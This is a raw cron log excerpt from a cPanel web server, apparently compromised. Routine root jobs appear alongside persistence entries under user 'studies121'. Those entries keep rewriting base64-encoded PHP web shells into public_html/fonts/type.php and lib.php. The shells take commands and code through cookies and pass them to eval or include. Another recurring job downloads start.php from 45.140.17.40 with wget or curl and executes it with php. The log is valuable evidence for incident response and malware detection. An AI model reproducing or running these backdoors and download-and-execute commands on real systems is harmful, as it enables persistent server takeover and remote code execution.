Sep 11 15:12:01 ip-184-168-122-23 CROND[24020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:12:01 ip-184-168-122-23 CROND[24021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:12:01 ip-184-168-122-23 CROND[24025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:12:01 ip-184-168-122-23 CROND[24028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:13:01 ip-184-168-122-23 CROND[24102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:13:01 ip-184-168-122-23 CROND[24106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:13:01 ip-184-168-122-23 CROND[24107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:13:01 ip-184-168-122-23 CROND[24105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:14:01 ip-184-168-122-23 CROND[24239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:14:01 ip-184-168-122-23 CROND[24241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:14:01 ip-184-168-122-23 CROND[24242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:14:01 ip-184-168-122-23 CROND[24243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:14:02 ip-184-168-122-23 CROND[24246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:15:01 ip-184-168-122-23 CROND[24423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:15:01 ip-184-168-122-23 CROND[24424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:15:01 ip-184-168-122-23 CROND[24426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:15:01 ip-184-168-122-23 CROND[24430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:15:01 ip-184-168-122-23 CROND[24427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:15:01 ip-184-168-122-23 CROND[24428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:16:01 ip-184-168-122-23 CROND[24527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:16:01 ip-184-168-122-23 CROND[24529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:16:01 ip-184-168-122-23 CROND[24530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:16:01 ip-184-168-122-23 CROND[24533]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:16:01 ip-184-168-122-23 CROND[24531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:16:01 ip-184-168-122-23 CROND[24532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:17:01 ip-184-168-122-23 CROND[24688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:17:01 ip-184-168-122-23 CROND[24689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:17:01 ip-184-168-122-23 CROND[24690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:17:01 ip-184-168-122-23 CROND[24691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:18:02 ip-184-168-122-23 CROND[24796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:18:02 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:18:02 ip-184-168-122-23 CROND[24802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:18:02 ip-184-168-122-23 CROND[24799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:18:02 ip-184-168-122-23 CROND[24800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:19:01 ip-184-168-122-23 CROND[24906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:19:01 ip-184-168-122-23 CROND[24908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:19:01 ip-184-168-122-23 CROND[24907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:19:01 ip-184-168-122-23 CROND[24909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25097]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:20:01 ip-184-168-122-23 CROND[25099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:20:01 ip-184-168-122-23 CROND[25100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:20:01 ip-184-168-122-23 CROND[25096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:21:01 ip-184-168-122-23 CROND[25199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:21:01 ip-184-168-122-23 CROND[25201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:21:01 ip-184-168-122-23 CROND[25204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:21:01 ip-184-168-122-23 CROND[25202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:22:01 ip-184-168-122-23 CROND[25305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:22:01 ip-184-168-122-23 CROND[25310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:22:01 ip-184-168-122-23 CROND[25307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:22:01 ip-184-168-122-23 CROND[25309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:22:01 ip-184-168-122-23 CROND[25308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:23:01 ip-184-168-122-23 CROND[25423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:23:01 ip-184-168-122-23 CROND[25426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:23:01 ip-184-168-122-23 CROND[25427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:23:01 ip-184-168-122-23 CROND[25425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:24:01 ip-184-168-122-23 CROND[25522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:24:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:24:01 ip-184-168-122-23 CROND[25527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
